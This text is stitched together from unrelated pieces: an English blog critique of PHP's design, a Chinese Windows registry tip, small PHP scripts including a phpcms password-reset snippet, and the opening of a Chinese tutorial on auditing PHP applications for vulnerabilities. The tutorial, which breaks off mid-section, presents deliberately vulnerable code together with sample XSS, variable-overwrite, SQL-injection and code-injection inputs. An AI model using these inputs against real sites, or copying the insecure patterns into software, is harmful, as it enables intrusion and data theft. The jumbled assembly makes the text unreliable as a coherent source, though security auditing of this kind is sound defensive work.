the following format is both ok
1.
$a=100;
var_dump($a)
2.
$a=100;
var_dump($a);
the following format is both ok
1.
$a=100;
var_dump($a)
2.
$a=100;
var_dump($a);
Tim Bray says: “based on my limited experience [...] all the PHP code I’ve seen in that experience has been messy, unmaintainable crap. Spaghetti SQL wrapped in spaghetti PHP wrapped in spaghetti HTML, replicated in slightly-varying form in dozens of places”
.
Right off the bat: there are things to like about PHP. I will list those first, to get them out of the way. I think this is important so that I don’t get mail that basically says: “yeah, but X”.
PHP gets out of your way, in the start, more than anything else. It’s what people who already know about OOP like about RoR.
Unfortunately, that’s where the fun ends. Here’s what makes PHP a toy and not a tool. I can’t stress that enough. If you’re planning to develop a software system and you have a choice on which technology you want to implement it: there is almost NO reason for implementing it with PHP, but a lot of reasons against. I already used PHP when it was called PHP/FI. I understand that today’s PHP has organically grown out of that CGI binary. But unfortunately PHP is now being marketed as a “enterprise-class” technology.
In detail, the changes were:
function &myFactoryMethod() {
return &new ProtectedClass();
}
does not work anymore. Instead, to do the same thing you now have to write:
function &myFactoryMethod() {
return $var = &new ProtectedClass();
}
While small scripts tend to not use a factory pattern, or any pattern for that matter, every properly designed medium-sized software will.
However, one of the most pressing problems, the incredibly bad character set support, has not been adressed.
A smaller problem that should not go unnoticed is that PHP’s generally good idea of making things easy by providing direct access to functions like the mysql_*-family also broke compatibility when MySQL 4.1+ introduced new binary protocol features. Any script that doesn’t use the mysqli_* functions or a proper database abstraction layer for PHP (like ADODB or PEAR-DB) is broken and needs to be updated for the new database version.
I didn’t realize how badly broken these scripts are, until I recently finished a project that ran exactly into this problem.
It has been pointed out to me that PHP 6 will finally introduce Unicode support. Which will be another incompatible change. So there will be only incompatible versions of PHP. I’m guessing that we’ll see a repeat of the <sarcasm>landslide that is the adoption of PHP 5</sarcasm>.
mbstring extension and configured PHP to override its string functions (most likely breaking the often-used mail()-function on the way), the character-set support is incredibly bad. I’ll first give you some pointers before I start the head-shaking:
Abetting this problem is that many developers, especially beginners with PHP, have absolutely no idea what a character-set really is, so it’s hard to explain the problem. In fact, most of the people teaching courses at the University of Regensburg have no idea what a character-set is. The quote I use most often, comes from the C 101 course that I had to take in 2004: “German Umlaute don’t work in C, so don’t use them”.
If you are one of those people read at least this article by Joel Spolsky and then go to this post by Mark Pilgrim and don’t stop researching the net until you know what it means.
The problem is also supported by the fact that the database most PHP applications are built on (MySQL) has had notoriously bad character-set support up to version 5.0 (the support was phased in in the 4.1 release, but there it only broke lots of Java applications because the standard table collation was Swedish).
While MySQL’s character-set support is not exceptionally bad anymore, it’s still bad!
Interestingly, people with mostly western character-sets never stumble over this problem until their web-application gets so popular that someone from Russia tries to leave a comment in russian (and their forum software suddenly falls apart in that thread). However, people like the makers of ezPublish come from Norway and recognized PHP’s problems right from the start.
(string)"false" == (int)0 is trueNow that’s just nasty. Please note the explicit casts. Even in a dynamically-typed language this shouldn’t happen, because you’ve just explicitly “statically-typed it”. Of course the opposite of this flawed creation also evaluates to true: (boolean)false == (string)"0".
Please note that this problem has nothing to do with the use of double-quotes.
This is PHP’s type coercion gone haywire, because every other not-empty string value is interpreted as true.
But of course this problem has a solution: enter PHP’s flawed identity concept. Take the following code:
if ("false" == true) echo "true\n";
// => true
if ("false" == false) echo "true\n";
// => false
if ("false" == 0) echo "true\n";
// => true, wtf
if (false == 0) echo "true\n";
// => true, as expected
// so "false" = true && "false" = 0, so "false" is true and
// false is false and we haven't even discussed identity, yet
if ((string)"false" === (int)0) echo "true\n";
// => false, ...ok...
if ("0" === 0) echo "true\n";
// => false
if ("false" === false) echo "true\n";
// => false
if ((int)"0" === 0) echo "true\n";
// => true, with type coercion
This means: if you want to predictably compare two variables and you don’t control their input range (i.e. one of them contains user input, for example), you have to compare them by identity, but then you have to explicitly convert them and know what their contents’ type is, so you get a predictable result. So PHP because of the strange conversion mentioned above, essentially has 2 type systems that behave differently. Because “false” is 0 or false in one type system, but “false” is true in the other (or false… sometimes).
In PHP 5 objects are passed by reference by default.
The second part means that references aren’t references like you know them from any other language. References are aliases in PHP. The reason why you have to assign a new object reference to a variable in PHP 4.4? Otherwise there exists no name for the returned variable to point to and the garbage collector never finds it.
function &myFactoryMethod() {
return $var = &new ProtectedClass();
}
$xyz =& myFactoryMethod();
// now $xyz is not a reference to the returned object, it is AN ALIAS for $var
Why don’t they just automatically create names for anonymous variables? I don’t know… <sarcasm>perhaps they thought that would have been bad design</sarcasm>.
In a presentation by Cal Henderson about Flickr’s use of PHP that I found recently, he says “PHP leaks memory like a sieve”, which is one of the main problems for making PHP work with FastCGI, SCGI or a threaded execution model.
PHP’s session handling is single-threaded, too
Another real caveat here is PHP’s session handling. By default, PHP will use disk-based sessions (i.e. files) and will acquire a lock on the file as soon as you call session_start(). This will essentially make sure that multiple requests that use sessions will run serialized, one after the other. While session-handling in concurrent scenarios is not a trivial task, it still is important to note that with the default setting of PHP, if you do a session_start() at the top of every PHP page, user’s will experience strange behavior on your site. For example, if they open multiple links in tabs or windows, or your site uses frames, these will load sequentially, not in parallel. You can alleviate this problem by closing your sessions with session_write_close() or by using a solution like Sharedance to solve this problem.
Also, as Jason pointed out, some functions (like money_format()) are only defined on some platforms and not on others. Please note: money_format() is not a function that is provided by an extension, it’s part of PHP’s standard library!
int is.Theoretically, if you were to load a 32-bit unsigned number from a binary stream, you could use unpack(). That would convert a really big number into a float, if it didn’t fit into 32-bit, a problem in its own right. Unless you’re running PHP version 5.2.1, because that version had a bug in unpack(), but I digress.
So if you want to write a PHP program that can handle integers larger than 2^31 on any platform, you can’t use normal operators (+ - * /), you’ll need to use the bcmath library. Oh, you also can’t use unpack() because of one of my favorite notes in PHP’s documentation:
“Note that PHP internally stores integral values as signed. If you unpack a large unsigned long and it is of the same size as PHP internally stored values the result will be a negative number even though unsigned unpacking was specified.”
So you want an unsigned integer? Ummm… no, sorry, can’t expect us to return one. Hopefully you’re not writing software for an electronic voting box! You can read more on this in an excellent post titled “Integers in PHP, running with scissors and portability” on the excellent MySQL performance blog. They also came up with a portable function that allows you to sidestep this issue, it reads like this (they could have chosen better variable names, though
):
function _Make64 ( $hi, $lo ) {
// on x64, we can just use int
if ( ((int)4294967296)!=0 )
return (((int)$hi)<<32) + ((int)$lo);
// workaround signed/unsigned braindamage on x32
$hi = sprintf ( "%u", $hi );
$lo = sprintf ( "%u", $lo );
// use GMP or bcmath if possible
if ( function_exists("gmp_mul") )
return gmp_strval ( gmp_add ( gmp_mul ( $hi, "4294967296" ), $lo ) );
if ( function_exists("bcmul") )
return bcadd ( bcmul ( $hi, "4294967296" ), $lo );
// compute everything manually
$a = substr ( $hi, 0, -5 );
$b = substr ( $hi, -5 );
$ac = $a*42949; // hope that float precision is enough
$bd = $b*67296;
$adbc = $a*67296+$b*42949;
$r4 = substr ( $bd, -5 ) + + substr ( $lo, -5 );
$r3 = substr ( $bd, 0, -5 ) + substr ( $adbc, -5 ) + substr ( $lo, 0, -5 );
$r2 = substr ( $adbc, 0, -5 ) + substr ( $ac, -5 );
$r1 = substr ( $ac, 0, -5 );
while ( $r4>100000 ) { $r4-=100000; $r3++; }
while ( $r3>100000 ) { $r3-=100000; $r2++; }
while ( $r2>100000 ) { $r2-=100000; $r1++; }
$r = sprintf ( "%d%05d%05d%05d", $r1, $r2, $r3, $r4 );
$l = strlen($r);
$i = 0;
while ( $r[$i]=="0" && $i<$l-1 )
$i++;
return substr ( $r, $i );
}
Yes, this is the kind of code you need to write to create PHP code that is portable and predictable. Want to go back to C++? I won’t blame you.
I maintain that of all the dynamically-typed (or freedom) languages PHP has the most-approachable syntax especially for developers coming from the typical statically-typed languages. I guess that this plays a huge part in PHP’s popularity right now. Also, the adoption of PHP by Oracle and the availability of many polished and sophisticated applications are important. There, at least from my point of view, seem to be far more content management systems and other tools, written in PHP, than in Python or Ruby. Especially some of the most popular tools in the developer community are written in PHP: PhpPgAdmin and PhpMyAdmin.
That said, I am a huge advocate for choosing “the right tool for the job” and that, of course, means that you might want to choose PHP under the right circumstances. I’ll give you a few examples:
For me, PHP is now an unacceptable solution to all but the simplest problems. At least, if you’ve made it this far through this article you now know what the most common pitfalls are and can avoid them. But please, please don’t believe that writing stable, maintainable and most-of-all predictable code in PHP is easy, even if you use PHP 5 and a MVC web framework (like symfony). In my opinion, doing anything with PHP is almost as hard as with C. You’re far better off if you invest elsewhere.
I hope this article gave you some pointers. If you have any questions or want to leave a comment, you’re free to do so by the way. Just go to the comments page for this article. Also, take a look at the external links they might prove quite helpful.
Now, if you’re already invested in PHP, there are ways to make it work. No problem mentioned in this article doesn’t have a solution with some of them listed right here in this article. The problem is making these solutions maintainable, making them predictably work on your platform and documenting all shortcomings and risks. In Cal Henderson’s Flickr presentation, he says that unicode with PHP is easy. “Just set the right headers” and “don’t use htmlentities()“, because that will mess up your strings. But that’s not the whole truth, for example. If you do it that way, you’ll also need a very good HTML filter to prevent XSS attacks. However, not knowing about these problems, or worse, trying to talk them away, will not help you to build stable software.
So I hope I got you thinking and please don’t think that Python, Java and Ruby don’t have any problems, it’s just that PHP has really many of them
. Knowing about the shortcomings of different languages and their implementations can only make you a better programmer. So good luck, have fun and thank you.
02/21/2006: As a response to the first version of this article, Harry Fuecks posted A pro PHP rant on SitePoint. PHP’s XML support, he says, became better with PHP 5 and Unicode-support is finally planned for PHP6. He also says that PHP scales very well and that it’s database support might be better than that of Ruby or Python.
The PHP developers tried to speed the adoption up by ending support for PHP4 in 2007. They now have conceded to continue support for PHP4 in 2008. I guess making PHP5 not backwards-compatible was not such a good idea, even if necessary to bring the language forward.
So my response to Harry Fuecks is: at the rate that people are adopting PHP 5, I won’t hold my breath for PHP 6’s Unicode support. Simply because of all the compatibility problems that it doubtlessly will bring for all the software that expects ISO-8859-1 byte-sized characters everywhere. But what do you know… with the release of PHP 6, PHP might really become a viable enterprise development platform. 8 years after everybody else had these features and years after Zend said that it was… but progress is progress, isn’t it? (right?)
07/28/2006: I have a new post up about PHP. After working with PHP’s mysqli extension for a while, I also fully disagree with Harry Fuecks’ assertion that PHP’s database support is better than anybody else’s… read the post
07/18/2006: I added some clarifying remarks about PHP’s identity model in the sidebar.
11/11/2006: I added a link to a PHP/fastcgi bug that broke WordPress 2.0.5 for people using fastcgi. I also removed Ambivalence as an example for a PHP MVC web framework at the end of the article, because it wasn’t updated in a long time. Instead I now link to symfony, which seems to have a big community and support. If you need to do something in PHP, you might as well do it with the best tools available.
02/22/2008: I’ve rewritten parts of the article based on comments and new developments. I wanted to clear up some confusion about PHP’s type system, the original article didn’t cover that topic very well and add a section on the brain-dead handling of 64-bit integers and the pitfall that is PHP’s session handling. I also tried to restructure the notes in the article, so I moved many of them to this section at the bottom as they lost relevance over time. Additionally I restructured the site itself because I want to expand on the theme of informing people about shortcomings in programming languages. You can take a look at that effort here.
02/25/2008: another update to the identity thing. It somehow is hard to me to find the right examples to make my point… I hope it works now
.
在Windows系统中默认软件安装目录都在C:\Program Files,很多朋友并不喜欢每次安装都用这个路径,但如果每次安装都要重新选择会麻烦,有没有一劳永逸的方法解决这个问题呢?其实修改注册表就能解决这个问题。
点击“开始— 运行”,输入regedit,回车,打开注册表编辑器。
找到注册表项 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
在右侧栏找到名称为“ProgramFilesDir”的项目,可以看到里面的默认数值数据为“C:\Program Files”。
右键点击,在弹出菜单中选择“修改”。
将这个值修改为需要设定的路径,比如“D:\software”,然后“确定”,退出注册表编辑器。
ls file name
<?php
$dir = ‘/var/www/html/2009/2019/’;
function view_dir($directory)
{
$handle = opendir( $directory );
while ( $file = readdir($handle) )
{
$bdir = $directory . ‘/’ .$file;
if ($file <> ‘.’ && $file <> ‘..’ && is_dir($bdir))
{
view_dir( $directory .’/’. $file);
}
else if( $file <> ‘.’ && $file <> ‘..’)
{
if(strstr(strtolower($directory.’/’.$file),”.html”)||strstr(strtolower($directory.’/’.$file),”.htm”)){
echo $directory .’/’. $file . “<br>”;}
}
}
closedir( $handle );
}
if(function_exists(‘file_get_contents’)){
view_dir($dir);}
?>
phpcms password_key
<?php
function password($password)
{
return md5(PASSWORD_KEY.$password);
}
echo password(123456);
echo (“<br />上面是phpcms加密方式<br />下面是md5加密方式<br />”);
echo md5(123456);
?>
phpcms updata password
<?php
include ‘./include/common.inc.php’;
$password = ’123456′;
$username = ‘phpcms’;
$password = md5(PASSWORD_KEY.$password);
$db->query(“UPDATE “.DB_PRE.”member SET password = ‘$password’ WHERE username = ‘$username’”);
$db->query(“UPDATE “.DB_PRE.”member_cache SET password = ‘$password’ WHERE username = ‘$username’”);
echo ‘ok’;
?>
| 高级PHP应用程序漏洞审核技术 |
| http://26836659.blogcn.com/index.shtml |
|=---------------------=[ 高级PHP应用程序漏洞审核技术 ]=---------------------=|
[目录]
1. 前言
2. 传统的代码审计技术
3. PHP版本与应用代码审计
4. 其他的因素与应用代码审计
5. 扩展我们的字典
5.1 变量本身的key
5.2 变量覆盖
5.2.1 遍历初始化变量
5.2.2 parse_str()变量覆盖漏洞
5.2.3 import_request_variables()变量覆盖漏洞
5.2.4 PHP5 Globals
5.3 magic_quotes_gpc与代码安全
5.3.1 什么是magic_quotes_gpc
5.3.2 哪些地方没有魔术引号的保护
5.3.3 变量的编码与解码
5.3.4 二次攻击
5.3.5 魔术引号带来的新的安全问题
5.3.6 变量key与魔术引号
5.4 代码注射
5.4.1 PHP中可能导致代码注射的函数
5.4.2 变量函数与双引号
5.5 PHP自身函数漏洞及缺陷
5.5.1 PHP函数的溢出漏洞
5.5.2 PHP函数的其他漏洞
5.5.3 session_destroy()删除文件漏洞
5.5.4 随机函数
5.6 特殊字符
5.6.1 截断
5.6.1.1 include截断
5.6.1.2 数据截断
5.6.1.3 文件操作里的特殊字符
6. 怎么进一步寻找新的字典
7. DEMO
8. 后话
9. 附录
一、前言
PHP是一种被广泛使用的脚本语言,尤其适合于web开发。具有跨平台,容易学习,功能强
大等特点,据统计全世界有超过34%的网站有php的应用,包括Yahoo、sina、163、sohu等大型
门户网站。而且很多具名的web应用系统(包括bbs,blog,wiki,cms等等)都是使用php开发的,
Discuz、phpwind、phpbb、vbb、wordpress、boblog等等。随着web安全的热点升级,php应
用程序的代码安全问题也逐步兴盛起来,越来越多的安全人员投入到这个领域,越来越多的应
用程序代码漏洞被披露。针对这样一个状况,很多应用程序的官方都成立了安全部门,或者雇
佣安全人员进行代码审计,因此出现了很多自动化商业化的代码审计工具。也就是这样的形
势导致了一个局面:大公司的产品安全系数大大的提高,那些很明显的漏洞基本灭绝了,那些
大家都知道的审计技术都无用武之地了。我们面对很多工具以及大牛扫描过n遍的代码,有很
多的安全人员有点悲观,而有的官方安全人员也非常的放心自己的代码,但是不要忘记了“没
有绝对的安全”,我们应该去寻找新的途径挖掘新的漏洞。本文就给介绍了一些非传统的技术
经验和大家分享。
另外在这里特别说明一下本文里面很多漏洞都是来源于网络上牛人和朋友们的分享,在
这里需要感谢他们,:)
二、传统的代码审计技术
WEB应用程序漏洞查找基本上是围绕两个元素展开:变量与函数。也就是说一漏洞的利用
必须把你提交的恶意代码通过变量经过n次变量转换传递,最终传递给目标函数执行,还记得
MS那句经典的名言吗?“一切输入都是有害的”。这句话只强调了变量输入,很多程序员把“输
入”理解为只是gpc[$_GET,$_POST,$_COOKIE],但是变量在传递过程产生了n多的变化。导致
很多过滤只是个“纸老虎”!我们换句话来描叙下代码安全:“一切进入函数的变量是有害的”。
PHP代码审计技术用的最多也是目前的主力方法:静态分析,主要也是通过查找容易导致
安全漏洞的危险函数,常用的如grep,findstr等搜索工具,很多自动化工具也是使用正则来搜
索这些函数。下面列举一些常用的函数,也就是下文说的字典(暂略)。但是目前基本已有的
字典很难找到漏洞,所以我们需要扩展我们的字典,这些字典也是本文主要探讨的。
其他的方法有:通过修改PHP源代码来分析变量流程,或者hook危险的函数来实现对应用
程序代码的审核,但是这些也依靠了我们上面提到的字典。
三、PHP版本与应用代码审计
到目前为止,PHP主要有3个版本:php4、php5、php6,使用比例大致如下:
php4 68%
2000-2007,No security fixes after 2008/08,最终版本是php4.4.9
php5 32%
2004-present,Now at version 5.2.6(PHP 5.3 alpha1 released!)
php6
目前还在测试阶段,变化很多做了大量的修改,取消了很多安全选项如magic_quotes_gpc。
(这个不是今天讨论的范围)
由于php缺少自动升级的机制,导致目前PHP版本并存,也导致很多存在漏洞没有被修补。
这些有漏洞的函数也是我们进行WEB应用程序代码审计的重点对象,也是我们字典重要来源。
四、其他的因素与应用代码审计
很多代码审计者拿到代码就看,他们忽视了“安全是一个整体”,代码安全很多的其他因素
有关系,比如上面我们谈到的PHP版本的问题,比较重要的还有操作系统类型(主要是两大阵营
win/*nix),WEB服务端软件(主要是iis/apache两大类型)等因素。这是由于不同的系统不同
的WEB SERVER有着不同的安全特点或特性,下文有些部分会涉及。
所以我们在做某个公司WEB应用代码审计时,应该了解他们使用的系统,WEB服务端软件,
PHP版本等信息。
五、扩展我们的字典
下面将详细介绍一些非传统PHP应用代码审计一些漏洞类型和利用技巧。
5.1 变量本身的key
说到变量的提交很多人只是看到了GET/POST/COOKIE等提交的变量的值,但是忘记了有的
程序把变量本身的key也当变量提取给函数处理。
--code-------------------------------------------------------------------------
<?php
//key.php?aaaa"aaa=1&bb"b=2
//print_R($_GET);
foreach ($_GET AS $key => $value)
{
print $key."\n";
}
?>
-------------------------------------------------------------------------------
上面的代码就提取了变量本身的key显示出来,单纯对于上面的代码,如果我们提交URL:
--code-------------------------------------------------------------------------
key.php?<script>alert(1);</script>=1&bbb=2
-------------------------------------------------------------------------------
那么就导致一个xss的漏洞,扩展一下如果这个key提交给include()等函数或者sql查询
呢?:)
+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:通读代码
+++++++++++++++++++++++++
5.2 变量覆盖(variable-overwrite)
很多的漏洞查找者都知道extract()这个函数在指定参数为EXTR_OVERWRITE或者没有指
定函数可以导致变量覆盖,但是还有很多其他情况导致变量覆盖的如:
5.2.1 遍历初始化变量
请看如下代码:
--code-------------------------------------------------------------------------
<?php
//var.php?a=fuck
$a="hi";
foreach($_GET as $key => $value) {
$$key = $value;
}
print $a;
?>
-------------------------------------------------------------------------------
很多的WEB应用都使用上面的方式(注意循环不一定是foreach),如Discuz!4.1的WAP部分
的代码:
--code-------------------------------------------------------------------------
$chs = "";
if($_POST && $charset != "utf-8") {
$chs = new Chinese("UTF-8", $charset);
foreach($_POST as $key => $value) {
$$key = $chs->Convert($value);
}
unset($chs);
-------------------------------------------------------------------------------
+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:通读代码
+++++++++++++++++++++++++
5.2.2 parse_str()变量覆盖漏洞(CVE-2007-3205)、mb_parse_str()
--code-------------------------------------------------------------------------
//var.php?var=new
$var = "init";
parse_str($_SERVER["QUERY_STRING"]);
print $var;
-------------------------------------------------------------------------------
该函数一样可以覆盖数组变量,上面的代码是通过$_SERVER["QUERY_STRING"]来提取变
量的,对于指定了变量名的我们可以通过注射“=”来实现覆盖其他的变量:
--code-------------------------------------------------------------------------
//var.php?var=1&a[1]=var1%3d222
$var1 = "init";
parse_str($a[$_GET["var"]]);
print $var1;
-------------------------------------------------------------------------------
上面的代码通过提交$var来实现对$var1的覆盖。
+++++++++++++++++++++++++
漏洞审计策略(parse_str)
-------------------------
PHP版本要求:无
系统要求:无
审计策略:查找字符parse_str
+++++++++++++++++++++++++
+++++++++++++++++++++++++
漏洞审计策略(mb_parse_str)
-------------------------
PHP版本要求:php4<4.4.7 php5<5.2.2
系统要求:无
审计策略:查找字符mb_parse_str
+++++++++++++++++++++++++
5.2.3 import_request_variables()变量覆盖漏洞(CVE-2007-1396)
--code-------------------------------------------------------------------------
//var.php?_SERVER[REMOTE_ADDR]=10.1.1.1
echo "GLOBALS ".(int)ini_get("register_globals")."n";
import_request_variables("GPC");
if ($_SERVER["REMOTE_ADDR"] != "10.1.1.1") die("Go away!");
echo "Hello admin!";
-------------------------------------------------------------------------------
+++++++++++++++++++++++++
漏洞审计策略(import_request_variables)
-------------------------
PHP版本要求:php4<4.4.1 php5<5.2.2
系统要求:无
审计策略:查找字符import_request_variables
+++++++++++++++++++++++++
5.2.4 PHP5 Globals
从严格意义上来说这个不可以算是PHP的漏洞,只能算是一个特性,测试代码:
--code-------------------------------------------------------------------------
<?
// register_globals =ON
//foo.php?GLOBALS[foobar]=HELLO
php echo $foobar;
?>
-------------------------------------------------------------------------------
但是很多的程序没有考虑到这点,请看如下代码:
--code-------------------------------------------------------------------------
//为了安全取消全局变量
//var.php?GLOBALS[a]=aaaa&b=111
if (ini_get("register_globals")) foreach($_REQUEST as $k=>$v) unset(${$k});
print $a;
print $_GET[b];
-------------------------------------------------------------------------------
如果熟悉WEB2.0的攻击的同学,很容易想到上面的代码我们可以利用这个特性进行crsf
攻击。
+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:通读代码
+++++++++++++++++++++++++
5.3 magic_quotes_gpc与代码安全
5.3.1 什么是magic_quotes_gpc
当打开时,所有的 "(单引号),"(双引号),\(反斜线)和 NULL 字符都会被自动加上一个
反斜线进行转义。还有很多函数有类似的作用 如:addslashes()、mysql_escape_string()、
mysql_real_escape_string()等,另外还有parse_str()后的变量也受magic_quotes_gpc的影
响。目前大多数的主机都打开了这个选项,并且很多程序员也注意使用上面那些函数去过滤
变量,这看上去很安全。很多漏洞查找者或者工具遇到些函数过滤后的变量直接就放弃,但是
就在他们放弃的同时也放过很多致命的安全漏洞。 :)
5.3.2 哪些地方没有魔术引号的保护
1) $_SERVER变量
PHP5的$_SERVER变量缺少magic_quotes_gpc的保护,导致近年来X-Forwarded-For的漏洞
猛暴,所以很多程序员考虑过滤X-Forwarded-For,但是其他的变量呢?
+++++++++++++++++++++++++
漏洞审计策略($_SERVER变量)
-------------------------
PHP版本要求:无
系统要求:无
审计策略:查找字符_SERVER
+++++++++++++++++++++++++
2) getenv()得到的变量(使用类似$_SERVER变量)
+++++++++++++++++++++++++
漏洞审计策略(getenv())
-------------------------
PHP版本要求:无
系统要求:无
审计策略:查找字符getenv
+++++++++++++++++++++++++
3) $HTTP_RAW_POST_DATA与PHP输入、输出流
主要应用与soap/xmlrpc/webpublish功能里,请看如下代码:
--code-------------------------------------------------------------------------
if ( !isset( $HTTP_RAW_POST_DATA ) ) {
$HTTP_RAW_POST_DATA = file_get_contents( "php://input" );
}
if ( isset($HTTP_RAW_POST_DATA) )
$HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);
-------------------------------------------------------------------------------
+++++++++++++++++++++++++
漏洞审计策略(数据流)
-------------------------
PHP版本要求:无
系统要求:无
审计策略:查找字符HTTP_RAW_POST_DATA或者php://input
+++++++++++++++++++++++++
4) 数据库操作容易忘记"的地方如:in()/limit/order by/group by
如Discuz!<5.0的pm.php:
--code-------------------------------------------------------------------------
if(is_array($msgtobuddys)) {
$msgto = array_merge($msgtobuddys, array($msgtoid));
......
foreach($msgto as $uid) {
$uids .= $comma.$uid;
$comma = ",";
}
......
$query = $db->query("SELECT m.username, mf.ignorepm FROM {$tablepre}members m
LEFT JOIN {$tablepre}memberfields mf USING(uid)
WHERE m.uid IN ($uids)");
-------------------------------------------------------------------------------
+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:查找数据库操作字符(select,update,insert等等)
+++++++++++++++++++++++++
5.3.3 变量的编码与解码
一个WEB程序很多功能的实现都需要变量的编码解码,而且就在这一转一解的传递过程中
就悄悄的绕过你的过滤的安全防线。
这个类型的主要函数有:
1) stripslashes() 这个其实就是一个decode-addslashes()
2) 其他字符串转换函数:
base64_decode -- 对使用 MIME base64 编码的数据进行解码
base64_encode -- 使用 MIME base64 对数据进行编码
rawurldecode -- 对已编码的 URL 字符串进行解码
rawurlencode -- 按照 RFC 1738 对 URL 进行编码
urldecode -- 解码已编码的 URL 字符串
urlencode -- 编码 URL 字符串
......
(另外一个 unserialize/serialize)
3) 字符集函数(GKB,UTF7/8...)如iconv()/mb_convert_encoding()等
目前很多漏洞挖掘者开始注意这一类型的漏洞了,如典型的urldecode:
--code-------------------------------------------------------------------------
$sql = "SELECT * FROM article WHERE articleid="".urldecode($_GET[id]).""";
-------------------------------------------------------------------------------
当magic_quotes_gpc=on时,我们提交?id=%2527,得到sql语句为:
--code-------------------------------------------------------------------------
SELECT * FROM article WHERE articleid="""
-------------------------------------------------------------------------------
+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:查找对应的编码函数
+++++++++++++++++++++++++
5.3.4 二次攻击(详细见附录[1])
1) 数据库出来的变量没有进行过滤
2) 数据库的转义符号:
* mysql/oracle转义符号同样是\(我们提交"通过魔术引号变化为\",当我们update进入数
据库时,通过转义变为")
* mssql的转义字符为"(所以我们提交"通过魔术引号变化为\",mssql会把它当为一个字符
串直接处理,所以魔术引号对于mssql的注射没有任何意义)
从这里我们可以思考得到一个结论:一切进入函数的变量都是有害的,另外利用二次攻击
我们可以实现一个webrootkit,把我们的恶意构造直接放到数据库里。我们应当把这样的代
码看成一个vul?
+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:通读代码
+++++++++++++++++++++++++
5.3.5 魔术引号带来的新的安全问题
首先我们看下魔术引号的处理机制:
[\-->\\,"-->\","-->\",null-->\0]
这给我们引进了一个非常有用的符号“\”,“\”符号不仅仅是转义符号,在WIN系统下也是
目录转跳的符号。这个特点可能导致php应用程序里产生非常有意思的漏洞:
1) 得到原字符(",\,",null])
--code-------------------------------------------------------------------------
$order_sn=substr($_GET["order_sn"], 1);
//提交 "
//魔术引号处理 \"
//substr "
$sql = "SELECT order_id, order_status, shipping_status, pay_status, ".
" shipping_time, shipping_id, invoice_no, user_id ".
" FROM " . $ecs->table("order_info").
" WHERE order_sn = "$order_sn" LIMIT 1";
-------------------------------------------------------------------------------
2) 得到“\”字符
--code-------------------------------------------------------------------------
$order_sn=substr($_GET["order_sn"], 0,1);
//提交 "
//魔术引号处理 \"
//substr \
$sql = "SELECT order_id, order_status, shipping_status, pay_status, ".
" shipping_time, shipping_id, invoice_no, user_id ".
" FROM " . $ecs->table("order_info").
" WHERE order_sn = "$order_sn" and order_tn="".$_GET["order_tn"].""";
-------------------------------------------------------------------------------
提交内容:
--code-------------------------------------------------------------------------
?order_sn="&order_tn=%20and%201=1/*
-------------------------------------------------------------------------------
执行的SQL语句为:
--code-------------------------------------------------------------------------
SELECT order_id, order_status, shipping_status, pay_status, shipping_time,
shipping_id, invoice_no, user_id FROM order_info WHERE order_sn = "\" and
order_tn=" and 1=1/*"
-------------------------------------------------------------------------------
+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:查找字符串处理函数如substr或者通读代码
+++++++++++++++++++++++++
5.3.6 变量key与魔术引号
我们最在这一节的开头就提到了变量key,PHP的魔术引号对它有什么影响呢?
--code-------------------------------------------------------------------------
<?php
//key.php?aaaa"aaa=1&bb"b=2
//print_R($_GET);
foreach ($_GET AS $key => $value)
{
print $key."\n";
}
?>
-------------------------------------------------------------------------------
1) 当magic_quotes_gpc = On时,在php5.24下测试显示:
aaaa\"aaa
bb\"b
从上面结果可以看出来,在设置了magic_quotes_gpc = On下,变量key受魔术引号影响。
但是在php4和php<5.2.1的版本中,不处理数组第一维变量的key,测试代码如下:
--code-------------------------------------------------------------------------
<?php
//key.php?aaaa"aaa[bb"]=1
print_R($_GET);
?>
-------------------------------------------------------------------------------
结果显示:
Array ( [aaaa"aaa] => Array ( [bb\"] => 1 ) )
数组第一维变量的key不受魔术引号的影响。
+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:php4和php<5.2.1
系统要求:无
审计策略:通读代码
+++++++++++++++++++++++++
2) 当magic_quotes_gpc = Off时,在php5.24下测试显示:
aaaa"aaa
bb"b
对于magic_quotes_gpc = Off时所有的变量都是不安全的,考虑到这个,很多程序都通过
addslashes等函数来实现魔术引号对变量的过滤,示例代码如下:
--code-------------------------------------------------------------------------
<?php
//keyvul.php?aaa"aa=1"
//magic_quotes_gpc = Off
if (!get_magic_quotes_gpc())
{
$_GET = addslashes_array($_GET);
}
function addslashes_array($value)
{
return is_array($value) ? array_map("addslashes_array", $value) : addslashes($value);
}
print_R($_GET);
foreach ($_GET AS $key => $value)
{
print $key;
}
?>
-------------------------------------------------------------------------------
以上的代码看上去很完美,但是他这个代码里addslashes($value)只处理了变量的具体
的值,但是没有处理变量本身的key,上面的代码显示结果如下:
Array
(
[aaa"aa] => 1\"
)
aaa"aa
+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:通读代码
+++++++++++++++++++++++++
5.4 代码注射
5.4.1 PHP中可能导致代码注射的函数
很多人都知道eval、preg_replace+/e可以执行代码,但是不知道php还有很多的函数可
以执行代码如:
assert()
call_user_func()
call_user_func_array()
create_function()
变量函数
...
这里我们看看最近出现的几个关于create_function()代码执行漏洞的代码:
--code-------------------------------------------------------------------------
<?php
//how to exp this code
$sort_by=$_GET["sort_by"];
$sorter="strnatcasecmp";
$databases=array("test","test");
$sort_function = " return 1 * " . $sorter . "($a["" . $sort_by . ""], $b["" . $sort_by . ""]);
";
usort($databases, create_function("$a, $b", $sort_function));
-------------------------------------------------------------------------------
+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:查找对应函数(assert,call_user_func,call_user_func_array,create_function等)
+++++++++++++++++++++++++
5.4.2 变量函数与双引号
对于单引号和双引号的区别,很多程序员深有体会,示例代码:
